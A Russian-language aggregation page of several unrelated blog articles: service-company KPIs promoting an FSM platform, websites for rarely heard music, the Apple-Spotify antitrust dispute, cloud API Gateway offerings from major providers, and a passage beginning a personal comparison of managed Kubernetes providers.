Кроме снижения затрат на диспетчерскую, автоматизация процессов диспетчеризации позволяет значительно улучшить клиентский сервис, исключить испорченный телефон при передаче заявок между клиентом / диспетчером / мастером, снизить нагрузку на сервисных специалистов и уменьшить количество повторных выездов из-за ошибок диспетчера или неверно переданной информации. Кроме этого - значительно ускорить процесс получения заявки ответственным сотрудником.

Динамику каких показателей следует контролировать для минимизации затрат на диспетчеризацию клиентских обращений?

  1. Доля и количество заявок, полученных по электронным каналам связи, в которых не требуется участие диспетчера при получении, регистрации и распределении заявок

  2. Соотношение исполнителей и диспетчеров

  3. Скорость назначения заявок на исполнителей

  4. Скорость закрытия заявок

  5. Среднее время в пути

  6. First Time Fix Rate - доля заявок, закрытых исполнителями с первого посещения объекта

  7. Доля и кол-во заявок, закрытых с нарушением срока SLA

  8. Оценка от клиентов

Цель 2: Оптимизация затрат на персонал сервисной службы

Затраты на персонал напрямую зависят от оптимальности и уровня автоматизации выстроенного сервисного процесса и, конечно, эффективности сотрудников. Рабочий день сотрудника состоит из полезного времени (время, когда сотрудник выполняет работы или оказывает услугу, которую оплачивает заказчик) и остального времени (время на дорогу, заполнение отчетности, общение с диспетчерами по получению заявок или планированию расписания, поездок в офис и т.п.).

Повышение полезной загрузки исполнителей и оптимизация процесса оказания сервиса совместно позволяют оптимизировать численность персонала до 20-30%.

Контроль каких показателей, может позволить снизить затраты на персонал и оптимизировать сервис?

  1. Количество закрытых заявок на сотрудника

  2. Коэффициент полезной загрузки исполнителей

  3. Отношение количества офисных сотрудников к мобильным

  4. Среднее количество выполненных заявок на человека в день

  5. Рейтинг эффективности персонала

  6. Объем переработок

  7. Пробег автотранспорта по сотрудникам

  8. Пробег автотранспорта в расчете на заявку

  9. Средняя полезная загрузка сотрудника в день в часах

  10. Среднее количество открытых заявок по исполнителям

  11. Равномерность загрузки исполнителей по дням недели/месяца

  12. Суммарное время выполнения работ по исполнителям

  13. Доля и количество заявок, выполненных с просрочкой

  14. Доля и количество повторных выездов

  15. В RCM контрактах - MTBF (среднее время между отказами оборудования), MTTR (среднее время на устранение неисправности), % оборудования, по которому были заявки

  16. % выполнения плановых (профилактических) работ

  17. Наличие наиболее используемых материалов/запчастей на складе и у исполнителя в начале смены

При постановке целей и оптимизации численности персонала, рекомендуется выявлять показатели, наиболее явно влияющие на загрузку персонала и устранять непроизводственные потери, проводя мероприятия по улучшению сервисных процессов. Собирая и отслеживая выбранные показатели ежемесячно, в среднесрочной перспективе от полугода до года можно достичь значительного увеличения эффективности работы сервиса и снизить затраты, до 20-30% повысив полезное время и равномерность загрузки мобильных сотрудников.

Цель 3: Снижение затрат на подрядчиков

Для системной работы с подрядчиками, необходимо выстроить автоматизированный процесс работы с ними и установить точки контроля их работы. Существует 2 основных способа снижать затраты на подрядчиков: уменьшать стоимость контрактов, снижая объем или стоимость работ, либо увеличивать строгость SLA и штрафовать при его нарушении. В обоих случаях необходимо четко регламентировать процесс работы подрядчиков и контролировать не только уровень сервиса, но и его объем.

Контроль каких показателей, поможет снизить затраты на подрядчиков?

  1. уровень сервиса (соблюдения SLA)

  2. количество заявок, выполненные с просрочкой

  3. фиксация факта присутствия на объекте при закрытии заявки

  4. указание выполненных работ и фиксация объекта ремонта

  5. контроль количества повторных ремонтов

  6. В RCM контрактах - MTBF (среднее время между отказами обслуживаемого оборудования), MTTR (среднее время на устранение неисправности), % оборудования по которому были заявки

  7. общее количество выполненных заявок

  8. количество заявок выполненных по видам и единицам оборудования

  9. скорость решения проблем

  10. простои оборудования

  11. рейтинг исполнителей подрядчика

  12. рейтинги и сравнительная оценка уровня сервиса различных подрядчиков

  13. количество заявок на согласовании у заказчика

  14. время поставки запчастей

  15. оборачиваемость запчастей и актуальная матрица запчастей

  16. среднее время приема заявки подрядчиком в работу

По всем показателям важно контролировать не только фактические значения, но и тенденцию, а также трендыизменения показателей в период времени. При правильно выбранных показателях заказчик видит, какие из требований или проводимых операцийне влияют на уровень сервиса, оказываемого подрядчиками, что позволяет снижать стоимость и держать под контролем уровень предоставляемого подрядчиками сервиса.

Цель 4: Снижение затрат на административные функции и бэкофис.

Снижение затрат напрямую зависит от степени автоматизации таких административных функций как: отдел кадров, бухгалтерия, транспортный цех, отдел закупок, служба работы с подрядчиками, административный отдел, финансовая служба, тендерный отдел, служба безопасности и т.д.

В рамках целей по достижению большей эффективности работы бэкофиса и администрации, сервисные компании оптимизируют ряд процессов. При этом целями могут быть как снижение численности персонала бэкофиса, так и возможность увеличить численность персонала, оказывающего сервис клиентам (мобильных сотрудников), без увеличения количества сотрудников бэкофиса.

Тут правильнее перечислить процессы, оптимизация которых снижает затраты на административные функции:

  1. Оптимизация первичного документооборота: переход на электронные первичные сервисные акты вместо бумажных

  2. Переход на ЭДО по юридически значимым документам (бухгалтерские акты, СФ, договора и т.д.)

  3. Автоматическое формирование бухгалтерских актов из первичных электронных, которые оформляют мобильные сотрудники при выполнении обслуживания

  4. Внедрения систем систем электронного архива как входящих, так иисходящих документов с QR-кодированием и хранением всех бухгалтерских документов в компании в электронном виде

  5. Автоматизация процессов закупки запчастей, от оформления электронной заявки на закупку сотрудником из мобильного приложения, до получения запчастей без оформления бумажных документов при их выдачи подотчетным лицам (использование простой электронной подписи при перемещении ТМЦ между материально ответственными сотрудниками и складом)

  6. Электронные авансовые отчеты сотрудников по купленным в магазинах запчастям и расходным материалам

  7. Автоматизированный GPS-контроль перемещения персонала и автотранспорта

  8. Автоматизация планирования маршрутов по заявкам

  9. Оптимизация матрицы запчастей и управление товарным запасом

  10. Электронный склад запчастей в смартфоне мобильного сотрудника с поиском требуемых запчастей

  11. Стандартизация стандартных или плановых работ через чек-листы или карты операций

  12. Онбординг и обучение персонала через электронные помощники в смартфоне

Как правильно ставить цели в сервисной компании?

В процессе постановки целей в сервисе, как и в большинстве других организаций, ставить цели лучше сверху вниз, декомпозируя их до уровня функций и отделов, а далее до уровня сотрудников. Очень важно учитывать специфику компании и отделять стратегию от тактики.

Если говорить о сервисной компании, то ее жизнь - это бесконечный сервисный процесс или процесс предоставления клиентского сервиса. Быстрые победы тут бывают крайне редко, так как любое изменение затрагивает множество сотрудников, которые привыкли годами работать по какому-либо сценарию.

Любое изменение требует не только обучения всех вовлеченных в процесс сотрудников, но и наличия инструментов контроля эффективности данных изменений в организации, а также обязательной оцифровки процесса, чтобы оценка была максимально объективной и не требовала огромных трудозатрат на ее выполнение.

Еще сложнее ситуация в сервисе с выездным или мобильным персоналом, который большую часть времени проводит в полях. Поэтому процесс постановки целей лучше всего выстраивать следующим образом:

  1. Определить верхнеуровневые стратегические цели (финансовые / клиентские (рынок) / процессные или цели, связанные с персоналом)

  2. Декомпозировать цели до уровня отдела или функций в компании

  3. Определить показатели, контроль и изменение которых позволит, в среднесрочной перспективе, достигнуть поставленных целей

  4. Решить задачи по регулярному расчету и оценки выбранных показателей (показатели следует рассчитывать и оценивать не реже 1 раза в месяц. Нижнеуровневые - понедельно или даже ежедневно).

Тут часто встает вопрос о необходимости внедрения какого-либо ИТ-решения, позволяющего

  • оцифровывать текущие сервисные процессы,

  • измерять требуемые показатели

  • помогать проводить цифровую трансформацию сервисной организации автоматизируя ключевые бизнес-процессы сервиса.

  • После измерения текущих показателей работы сервиса, пора переходить к выявлению наиболее неоптимальных (ресурсоемких) процессов и их оптимизации. Шаг за шагом, процесс за процессом.

Для оцифровки сервисного бизнеса с выездным персоналом лучше всего подходят решения класса FSM (Field Service Management). В России этот класс систем представлен решением HubEx (мы - разработчики платформы HubEx FSM). Так что если при прочтении остались вопросы - спрашивайте в комментариях. И удачи в цифровизации в своих компаниях!

Подробнее..

Музыка, которую мало кто слышал, или успели забыть

30.05.2021 12:21:38 | Автор: admin

В прошлый раз мы рассказывали о сервисах, аккумулирующих видеоролики, которые практически никто не видел. Сегодня продолжим тему и поговорим о ресурсах, где можно найти музыкальные треки, которые практически никто и не слушал. Их авторы забытые исполнители прошлого века, рэперы, которым не дано, и композиторы, музицирующие для души.

Фотография: Amaryllis Liampoti. Источник: Unsplash.comФотография: Amaryllis Liampoti. Источник: Unsplash.com

Forgotify

В библиотеке Spotify десятки миллионов треков, но согласно статистике площадки, пятую часть из них мало кто слушал. Все эти композиции собирает Forgotify. Чтобы погрузиться в неизведанные глубины стримингового сервиса, достаточно нажать на Start Listening.

Разумеется, есть причина, по которой у представленных треков счетчик прослушиваний не может оторваться от нулевой отметки. Многое из того, что предлагает Forgotify это любительские каверы и ремиксы, а также странная кантри-музыка и рэп, записанный где-то в гараже. Но не все так плохо, и порой даже попадаются настоящие hidden gems. Так, резиденты Reddit нашли интересный и расслабляющий фолк, а также пост-панк из 80-х годов прошлого века.

Что интересно, прослушав песню на Forgotify, вы фактически можете стать последним человеком, который её послушает. С этого момента алгоритмы сайта начинают игнорировать трек, а на крупных стриминговых платформах у него практически нет шансов. Получается, что каждый запуск Forgotify уникальный опыт, когда на один и тот же трек не наткнуться дважды.

Camp Explorer

Если хочется получить больше контроля над выдачей слабо известных треков, можно обратиться к сайту Camp Explorer. Это движок для поиска музыки на Bandcamp. Введите в поисковую строку название жанра, и сервис покажет релевантные альбомы.

Фотография: Rasheed Kemy. Источник: Unsplash.comФотография: Rasheed Kemy. Источник: Unsplash.com

В выдаче встречаются работы музыкантов, вокруг которых уже сформировалась определённая фан-база, но многие композиции мало кто слушал. Например, тут есть микстейп малоизвестного рэпера Centinel, увлекающегося этим занятием еще с 2000 года, а также рок-альбом с нечленораздельными текстами от исполнителя s1m0n. Если судить по оформлению обложки и псевдониму, он определенно воодушевлялся мультфильмом Adventure Time.

Исходный код сервиса Camp Explorer открыт и выложен на GitHub. При желании его можно использовать, чтобы разработать аналогичный сервис для других платформ.

Vintage Obscura

Это тред на Reddite, участники которого публикуют песни, написанные более 25 лет назад. Обязательное условие число просмотров у записей на YouTube не должно превышать тридцати тысяч. Спектр жанров обширен дарквейв, джаз-рок, поп и даже фанк времен СССР. К последнему можно отнести Танец Шамана в исполнении вокального квартета Улыбка. Её много лет назад выпускали на виниловой пластинке Мелодия.

Существует и ресурс vintageobscura.net. Он собирает все музыкальные записи из треда на Reddit в удобном формате. Платформу можно использовать в качестве стриминг-сервиса.

Soundcloud Gems

SoundCloud изначально задумывалась как площадка для инди-музыкантов, поэтому неудивительно, что здесь можно найти огромное количество редких композиций. Поисками этих сокровищ занимаются пользователи Reddit в тематическом треде r/soundcloudgems.

Одним из исполнителей, работу которого недавно опубликовали, стал liltimbo of mokum. Он пишет треки в стиле environmental trap, чем-то напоминающим лоу-фай. Пока что у музыканта всего тридцать три подписчика, но все может перемениться благодаря реддиторам.

Некоторые композиторы сами выкладывают свои работы в тред, надеясь получить признание сообщества. Например, так сделал Fuzen, пишущий музыку в жанре chill-hop. Его дискография включает больше двадцати треков, и ими наслаждается примерно двести человек.

Разумеется, толику внимания удается завоевать не всем. Многие музыканты жалуются, что устали выкладывать свои работы в интернет, так как никто не хочет их слушать. Молодые композиторы спрашивают совета в социальных сетях, как им разорвать порочный круг, или иронизируют на эту тему, называя песни соответствующим образом например, Another Useless Minute of Music No One Listens To.

Сервисы подобные Forgotify и Camp Explorer, а также сообщества вроде r/soundcloudgems дают хотя и небольшой, но шанс быть услышанными и, возможно, дарят необходимую мотивацию дальше заниматься музыкой и творить несмотря ни на что.


Другие материалы из нашего Мира Hi-Fi:


Подробнее..

Стимул для изменений как борьба с яблочниками отразилась на крупнейшей стриминговой платформе

19.06.2021 14:07:57 | Автор: admin

Недавно мы писали о противостоянии Apple и Spotify, в рамках которого компании продолжают мериться размерами роялти для музыкантов. Сегодня продолжим тему на повестке антимонопольное разбирательство и новые платные продукты.

Фотография: Joran Quinten. Источник: Unsplash.comФотография: Joran Quinten. Источник: Unsplash.com

Пожалуйся, и тебя услышат

Еврокомиссия начала антимонопольное расследование в отношении американской ИТ-компании еще летом прошлого года. Триггером стала жалоба шведского стримингового сервиса. Его представители считают, что владелец магазина приложений злоупотребляет своим положением на рынке, и его комиссия в размере 30% от всех сборов за подписку несправедлива.

Спустя год после начала разбирательства европейский регулятор наконец направил Apple уведомление о претензиях (statement of objections). Его цель получить официальный ответ на обвинения от организации, в отношении которой ведется расследование. Члены комиссии поставили под вопрос законность обязательного использования внутренних механизмов для покупок в музыкальных приложениях. Также на повестке оказался свод правил App Store, запрещающий разработчикам сервисов потоковой передачи музыки рассказывать юзерам об альтернативных способах оплаты.

Регулятор предоставит ИТ-компании возможность высказать собственную точку зрения, чтобы попытаться склонить чашу весов в свою пользу. Однако эта задача может быть сложнее, чем кажется на первый взгляд. В начале июня к антимонопольному расследованию присоединилась Европейская организация по защите прав потребителей в качестве заинтересованной третьей стороны. Её представители не настроены идти на компромисс и убеждены, что граждане ЕС должны иметь свободный доступ ко всем музыкальным платформам без ценовых ограничений.

Положение американской корпорации компрометирует и тот факт, что она подвергается серьезному давлению у себя на родине. В США уже несколько месяцев идут суды с компанией Epic Games, которая выступает против 30-процентной комиссии в App Store. При этом в начале года разбирательства переместились в европейскую юрисдикцию.

Фотография: Arisa Chattasa. Источник: Unsplash.comФотография: Arisa Chattasa. Источник: Unsplash.com

Чем и когда закончится антимонопольное расследование неизвестно, а пока стриминговый сервис теряет деньги. Несмотря на рост аудитории общее число пользователей уже перевалило за 150 млн платформа закрыла последний финансовый квартал с убытками в 125 млн евро. Чтобы компенсировать потери, сервис объявил о повышении тарифов на премиум-подписку практически по всему миру цена увеличилась на 1012%.

Реакция пользователей не заставила себя ждать. Недовольные слушатели вновь обвинили Spotify в том, что она наживается на аудитории и музыкантах. Многие жалуются, что новые ценники им не по карману, и угрожают перейти к конкурентам. Разумеется, компания в курсе критики, но продолжает гнуть свою линию. Нельзя исключать, что для нее подобные манипуляции с ценами это еще одна возможность нащупать почву и отстроиться от яблочной экосистемы.

Свежие идеи и новая конкуренция

В то же время Spotify продолжает экспериментировать с новыми способами монетизации и привлечения аудитории. Недавно компания представила собственный hardware-аудиоплеер для автомобиля Car Thing. Это компактное устройство воспроизведения потоковой музыки для транспортных средств, не оснащенных современной инфотейнмент системой. Гаджет подключается к стереосистеме автомобиля по Bluetooth или AUX и позволяет переключать треки с помощью голосовых команд или сенсорного диска.

Устройство планируют продавать по цене 80 долларов, но пока приобрести его нельзя. Хотя ограниченную партию уже раздают бесплатно пользователям на территории США. Первые счастливые обладатели Car Thing довольны гаджетом он легкий и работает достаточно быстро. Однако ряж журналистов отнесся к новинке со скептицизмом. Некоторые даже назвали девайс бесполезным, так как он требует подключения к мобильному телефону. И здесь невольно задаешься вопросом, а зачем нужен Car Thing, если можно слушать музыку со смартфона? Очевидно, что стриминговая платформа только тестирует новый продукт и оценивает реакцию сообщества, поэтому остается вероятность, что оно так и не попадет в массовое производство.

Фотография: Markus Spiske. Источник: Unsplash.comФотография: Markus Spiske. Источник: Unsplash.com

Еще одним нововведением шведской платформы для передачи потоковой музыки стали платные подписки на подкасты. Контент-мейкерам разрешат устанавливать цену за прослушивание отдельных выпусков три, пять или восемь долларов в месяц. Согласно первым отзывам, сервис имеет некоторые шероховатости с точки зрения UX/UI, но предлагает выгодные условия для авторов. Подкастеров освободили от комиссий до 2023 года, после она составит 5%. Примечателен тот факт, что пару месяцев назад Apple запустила аналогичный сервис. Правда в этом случае сами контент-мейкеры должны будут платить двадцать долларов ежегодно, чтобы предлагать подписку своим слушателям.

Можно ожидать, что результатом продуктового противостояния двух гигантов музыкальной индустрии станет появление новых бизнес-моделей вне зависимости от исхода судебного разбирательства в Европе.


Еще о подкастах и стриминге в Мире Hi-Fi:

P.S. Что еще у нас есть в блоге на Хабре для дополнительного чтения пятерка экспертных обзоров аудиотехники: от внутриканальных наушников до напольной акустики.


Подробнее..

Облачные Gateway API зачем нужны подобные сервисы и чем они отличаются у разных платформ

19.05.2021 16:06:46 | Автор: admin

Добро пожаловать в современный интернет, где большая часть взаимодействия приходится на интерфейсы прикладного программирования API. На API держится цифровой бизнес: с ними стало возможным предоставлять и получать услуги через приложения и подключённые к Сети устройства. Платёжные системы? Работают через API. Интерактивная карта, показывающая, как добраться от метро до офиса? Снова API. Даже бэкенд строится на API.

Похоже, мы окружены значит, придётся разбираться. Что такое API, на Хабре уже рассказывали, а я предлагаю рассмотреть поподробнее реализацию API Gateway на облачных платформах.

Зачем вообще нужны Gateway API

При работе с микросервисной архитектурой рано или поздно приходится столкнуться с проблемой, которой нет у монолитных систем, с необходимостью получать и обрабатывать данные из нескольких источников для обслуживания одного-единственного запроса.

Представьте себе: у вас есть интернет-магазин по продаже реплик молота Тора. Для удобства пользователя имеется как сайт под десктоп и мобильные устройства, так и приложения для Android и iPhone, которые взаимодействуют с сервером через REST API.

Чтобы на странице товара отображались верные данные, нам нужно обратиться к нескольким службам: в одной учитывается наличие молота, в другой записаны материал, вес и длина ручки, в третьей сохраняются отзывы клиентов, а цена вообще указана в четвёртой. API Gateway позволяет обойтись одним запросом.

API Gateway выполняет множество задач: принимает, обрабатывает и распределяет запросы, контролирует трафик, осуществляет мониторинг и контроль доступа.

В микросервисной архитектуре паттерн API Gateway появился в качестве службы, обеспечивающей единую точку входа для веб-приложений и API, эдакой серверной части для клиентской части. В чём польза именно для микросервисов?

Например возможность повторного использования компонентов, упрощение бэкенда приложения, обеспечение доступа к статическим веб-страницам и документам, удобная проверка авторизации и подбор оптимального для каждого типа клиента API как это делает Netflix API Gateway.

Что такое облачные API Gateway

Облачные структуры заимствуют многие паттерны микросервисов в том числе API Gateway и необходимость в их применении. API Gateway упрощает интеграцию приложения с сервисами облачной платформы и позволяет в полной мере использовать её возможности.

Классический API Gateway представляет собой шлюз между пользователями и любым количеством сервисов (API), выполняющий функцию обратного прокси, как Nginx и HAProxy. В то же время облачная версия API Gateway уже полноценный сервис для разработчиков, который простым в исполнении не назовёшь.

Основная задача та же самая приём и обработка запросов от клиентов к службам, а также управление доступом приложения к данным, бизнеслогике или функциональным возможностям сервисов.

Только облачные API Gateway на этом не останавливаются и предлагают множество дополнительных услуг: быстрое масштабирование, интеграцию с облачными сервисами, контроль доступа и настройку безопасности, создание и публикацию API, мониторинг API и тому подобное. Гораздо проще, чем создавать API Gateway с нуля, да и знаний требуется гораздо меньше.

Как облачные API Gateway облегчают жизнь

Итак, в разработке всё чаще применяются облачные технологии и закономерно возникает вопрос об облачных шлюзах API, их особенностях и преимуществах. Стоит ли их применять или лучше как-нибудь по старинке?

Для чего разработчики вообще выбирают облачные API Gateway?

  • Чтобы сократить время разработки API Gateway создаётся в несколько кликов, а интеграция с облачными сервисами выбранной платформы занимает пару минут.

  • Чтобы обеспечить минимальную задержку ответа на запрос об этом позаботится система автоматического масштабирования.

  • Чтобы лучше контролировать трафик к примеру, с помощью ограничения нагрузки на количество запросов в секунду для каждого HTTPметода. А при необходимости можно сформировать кеш с настраиваемыми ключами и указанием жизненного срока в секундах.

  • Чтобы отлаживать API встроенными средствами меньше головной боли.

  • Чтобы генерировать клиентские SDK.

  • Чтобы одновременно использовать нескольких версий одного API, а также управлять стадиями выпуска от альфы до релиза.

  • Чтобы контролировать доступ к API и управлять его жизненным циклом от создания до публикации.

  • Чтобы уведомление приходило от сервиса, а не от разозлённого клиента, если что-то идёт не так.

  • Чтобы настраивать авторизацию удобным методом с помощью средств Lambda или токенов OAuth.

  • Чтобы отслеживать показатели к примеру, количество запросов, задержку вызова и количество ошибок на удобной панели мониторинга с визуальным интерфейсом.

  • Чтобы платить только за количество запросов в месяц или пользоваться сервисами бесплатно, если не выходить за рамки определённой цифры.

Как используют облачные API Gateway

Виртуальная доска

Простое приложение, состоящее из двух конечных точек POST для записи сообщений и GET для извлечения трёх последних сообщений. Реализовано с помощью AWS Gateway, AWS DynamoDB, AWS Serverless Application Model и Lambda.

Голосовой сервиc

Рецепт сервиса записи к врачу и регистрации в поликлинике, разработанный коммуникационной платформой Voximplant и Yandex.Cloud.

Бот для телеграма

Запуск бота на Python внутри одного из облачных сервисов, а именно Yandex.Cloud.

Трекер пульсометрии

Один из вариантов решения для сбора данных пульсовой оксиметрии для нескольких пользователей, отслеживания этих данных и обмена ими. Фронт написан на VueJS, бэкенд реализован с применением Amazon API Gateway.

Статический сайт в облаке

Пошаговая инструкция по деплою статического сайта в облако, прикрутке к нему сертификата Lets Encrypt, домена второго уровня и настройке API-шлюза в системе Yandex.Cloud.

Блог

И снова приложение на микросервисах реализация клиентской части на VueJS, взаимодействие настроено через REST API и gRPC, а в качестве базы данных используется MongoDB.

Реализация на разных облачных платформах

Сервис API Gateway предлагают несколько облачных платформ и все они предоставляют более-менее схожий пакет услуг. Так в чём же разница?

Azure API Management

Платформа гибридного кросс-облачного управления через API Позволяет в том числе самостоятельное размещение шлюза в своей среде и управление им через API Azure. Мультиклауд для отважных.

Amazon API Gateway

Amazon API Gateway пожалуй, самый известный сервис, предназначенный для создания, публикации, обслуживания, мониторинга и обеспечения безопасности API в любых масштабах.

Документация включает подробные инструкции от развёртывания RESTful API при создании бессерверного веб-приложения до работы с HTTP API, поэтому не придётся искать примеры по всей Сети, чтобы разобраться.

Особенности:

  • Создание API RESTful при помощи API HTTP или API REST.

  • Интерфейсы API WebSocket для разработки приложений, которым требуется двусторонняя связь в режиме реального времени.

  • Частная интеграция с AWS ELB и AWS Cloud Map.

  • Ключи API для сторонних разработчиков.

  • Генерирование клиентских SDK на многих языках, включая JavaScript, iOS и Android.

  • Внедрение подписи четвёртой версии для API REST и API WebSocket при авторизации и проверке запросов API к другим сервисам AWS API Gateway.

  • Авторизация с помощью AWS Lambda.

  • Amazon API Gateway можно пользоваться бесплатно целый год пока ваши потребности не превышают один миллион вызовов API, полученных для API REST, один миллион вызовов API, полученных для API HTTP, и один миллион сообщений и 750 000 минут подключения для API WebSocket в месяц.

  • Обучение с помощью пошаговых учебных пособий, а также доступ к более чем 500 бесплатным онлайн-курсам.

Oracle API Gateway

Сервис Oracle API Gateway стал доступен любому пользователю в конце 2019 года и уже пытается активно конкурировать с Amazon API Gateway. Получится ли у него отвоевать хотя бы часть аудитории у AWS, нам только предстоит увидеть а сравнивать всегда интереснее на собственном опыте. Почитать про создание своего Gateway API можно вот в этой статье.

Особенности платформы:

  • RESTful API в комбинации с Oracle Functions, а также возможностями Kubernetes и Compute.

  • Каждая служба в облачной инфраструктуре Oracle интегрируется с IAM для аутентификации и авторизации (консоль, SDK или CLI и REST API).

  • Интеграция с системой управления доступом Oracle Cloud Infrastructure.

  • Бесплатный период длительностью в тридцать дней, чтобы опробовать возможности широкого спектра сервисов Oracle Cloud, в том числе к Databases, Analytics, Compute, Container Engine for Kubernetes и т. д.

  • Платформа Oracle Cloud позиционирует себя как более экономичное решение, чем AWS, и в качестве примера упоминает, что соотношение цены и производительности в 2 раза выше, а стоимость исходящей пропускной способности составляет только 1/4 от стоимости у AWS.

Google API Gateway

Сервис перешёл на стадию публичного бета-тестирования 18 сентября 2020 года, так что пока о нём известно довольно мало и тем интереснее пронаблюдать за его развитием.Сейчас Google API Gateway позволяет управлять API других сервисов облачной платформы Cloud Functions, Cloud Run, App Enginе, Compute Engine и Google Kubernetes Engine. Настроить работу с Cloud Run, к примеру, можно всего за несколько минут.

Особенности:

  • Оплачиваются только вызовы к инфраструктурным службам. Стоимость зависит от количества вызовов, а входящий трафик всегда бесплатен.

  • До 2 миллионов запросов в месяц бесплатно.

  • Наличие пробной версии. Google Cloud предоставляет виртуальный кредит в размере 300 долларов, который необходимо потратить в течение последующих трёх месяцев. После окончания бесплатного периода оплата не начинает взиматься автоматически на платный тариф необходимо перейти вручную.

SberCloud API Gateway

SberCloud API Gateway использует наработки Huawei, а информации об особенностях применении в Сети можно найти немного, но здесь вам поможет Хабр: после недавнего хакатона один из участников рассказал о впечатлениях от SberCloud и сравнил функциональность с более известным AWS.

Особенности:

  • Доступ к облачным продуктам для физических лиц возможен только с помощью входа/регистрации через Сбер ID.

  • Управление квотами и регулирование запросов пользователей.

  • Встроенный инструмент отладки.

  • Визуализированная панель мониторинга API.

  • Создание каналов VPC для доступа к бэкенд-сервисам в сети VPC и управления нагрузкой путём отправки API-запросов на различные серверы.

  • Цифровая подпись, которая вступает в силу только после привязки к API.

  • Никакой минимальной или предварительной платы оплачивается только фактическое использование.

  • Возможность монетизации API.

Yandex API Gateway

23 сентября 2020 года к четырём сервисам платформы Yandex.Cloud прибавились ещё два Yandex API Gateway и база данных Yandex Database в режиме Serverless.

Yandex API Gateway интегрирован с другими сервисами платформы, благодаря чему возможна отправка HTTP-запросов с помощью функций Yandex Cloud Functions, доступ к статическим данным осуществляется Yandex Object Storage напрямую из хранилища, а запуск произвольных HTTP-сервисов в облаке возможен с помощью Yandex Managed Service for Kubernetes. Так что спектр применения широк к примеру, внутри облака можно запустить приложение на Express.js.

К слову, до октября 2021 года на бессерверные решения действуют специальные тарифы, которые позволяют создавать и размещать небольшие сайты и сервисы бесплатно.

Особенности:

  • Наличие расширений для спецификации, которые можно использовать для интеграции с другими облачными платформами.

  • Поддержка OpenAPI 3.0.

  • Обработка запросов только по протоколу HTTPS. Сервис автоматически перенаправляет все запросы к API-шлюзам по протоколу HTTP на их HTTPS-версии.

  • Интеграция с системой управления доменами сервиса Certificate Manager. Для обеспечения TLS-соединения используется привязанный к домену сертификат.

  • Система квот и лимитов. Максимальный размер спецификации 3,5 МБ. Количество API-шлюзов в одном облаке 10, но, в отличие от максимального размера спецификации, меняется по запросу в техническую поддержку.

Тарификация по количеству запросов к созданным API-шлюзам и исходящему трафику. При этом запросы к API-шлюзам до 100 000 запросов в месяц не тарифицируются. Как, кстати, и входящий трафик, а также передача данных между сервисами Yandex.Cloud. Больше подробностей можно узнать в сообществе Serverless в Telegram:Yandex Serverless Ecosystem. Мы регулярно встречаемся в виртуальном пространстве и похоже созревает потребность в очной встрече.

Подробнее..

Kubernetes как сервис изучение рынка

24.05.2021 20:06:11 | Автор: admin

Привет, Хабр! Как и многие другие, в прошлом году мне пришлось внезапно мигрировать из тесного привычного офиса к себе домой. Я и раньше работал из дома, когда была такая нужда. Но чтобы несколько месяцев подряд такое со мной случилось впервые. Появилось свободное время, которое я сначала не знал, куда девать. Но потом приспособился, начав изучать вещи, до которых раньше не доходили руки.

Я поковырялся в инвестиционных играх на бирже, познакомился с облачным геймингом, а ещё успел почитать о том, что за зверь такой появился, про который из каждого умного утюга говорят Kubernetes. Начав с блога Фланта, я убедился, что конкретно мне и конкретно сейчас эта штука не нужна, но выглядит она интересно.

Почитал, одобрил и забыл, да вот только буржуйский Facebook про меня забывать не хотел. И где-то с неделю показывал мне рекламу с самыми наивыгодными предложениями этого самого кубернетиса. В результате я в очередной раз продемонстрировал моральную слабость и решил лично познакомиться с этим зверем.

Дисклеймер

Главное, что я понял, так это что если вы не слышали про Kubernetes и не понимаете, как его использовать в вашей работе, то в 99% случаев он вам и не нужен. Но сама идея сокращения цикла разработки за счёт быстрой доставки пользователю и возможности тестировать версии приложений на узких сегментах аудитории прекрасна. Посмотрел, что получилось, после чего можно распространить версию приложения на всех пользователей или немедленно её откатить.

Но продолжу тему знакомства с этой модной платформой управления контейнерами. Я решил не ограничивать себя одной компанией, наиболее часто мозолившей глаз в Facebook. А выбрать несколько более-менее крупных фирм, у которых есть толковое предложение.

Как выбирал

Вы удивитесь, но поиском. Погуглил Kubernetes в облаке, пролистал пару страниц. Так и нашёл семь компаний, которые наиболее активно продвигают эту услугу: Mail.ru Cloud Solutions, Cloud4Y, CloudMTS, Yandex.Cloud, КРОК, DataLine, Selectel.

Было бы круто воспользоваться сервисом подбора провайдеров, где можно указать фильтры по ценам, возможностям и прочему. Но увы, я такого сервиса не нашёл, так что делал всё ручками. И если кого шибко важного и крупного не указал, так это не по причине моей зловредности, а потому что реклама у них слабенькая. Ну, и или страницы в поиске глубоко находятся. В общем, кого нет в списке, того я не нашёл. Прошу понять, простить и не гнобить.

Про субъективность

Это абсолютно необъективная статья. Было просто интересно, что это за зверь, какой сервис выглядит удобнее и надёжнее остальных, какой проще и понятнее именно для меня. Так что учитывайте, что мой опыт это всего лишь мой опыт. У вас могут быть другие предпочтения и знания. Рассматривайте данный текст просто как информацию, абстрактное общее сравнение, а не прямое руководство к действию.

Ещё момент: я собирал информацию, которая есть в открытом доступе, стараясь не задалбывать менеджеров глупыми частыми вопросами по почте и телефону. Мне было неловко звонить и расспрашивать, если покупать всё равно не планирую. Тратить чужое время из-за неуёмного моего любопытства было как-то стыдно. Ну захотелось мне проверить, будет ли работать их сервис, нравится ли он мне как пользователю. Были некоторые моменты, которые я узнавал по телефону и почте, но в основном все данные брал из документации и маркетинговых материалов.

Здесь возникли первые сложности. Я старался звонить по-минимуму, но тот же Яндекс без звонка хоть что-то сообщать отказывался. Остальные без проблем написали о том, что они предлагают и как всё это работает. Ну и ладно, подумал я. Информации в свободном доступе тоже хватает. Вернусь позднее и пообщаюсь, раз они такие буки. Или не пообщаюсь, если к тому времени уже натестируюсь по самый докер. Это была зима 2020, и у меня было много свободного времени.

Знакомство

Звонить и писать сразу всем компаниям гиблое дело, особенно если не готов покупать, а хочешь лишь проверить, как оно работает. Поэтому я потихоньку запрашивал тестовый доступ у каждой компании по очереди. Быстрее всех ответили Selectel, Cloud4Y и MCS, а вот Крок и DataLine оказались не столь быстрыми. Мне даже пришлось несколько раз ментально их пнуть напоминать о себе, чтобы получить какой-то ответ.

И уже на этом этапе круг подопытных кроликов провайдеров сузился. DataLine вообще никак не захотел со мной общаться. Письма ушли в молоко. Ну и ладно, подумал я. И нечего нас дёргать со всякими глупостями, подумал неизвестный мне менеджер DataLine. КРОК вежливо извинился и сообщил, что мелочь вроде меня им не интересна. Неприятно, но честно. Спасибо за это. Лучше честный отказ, чем игнор или затягивание времени.

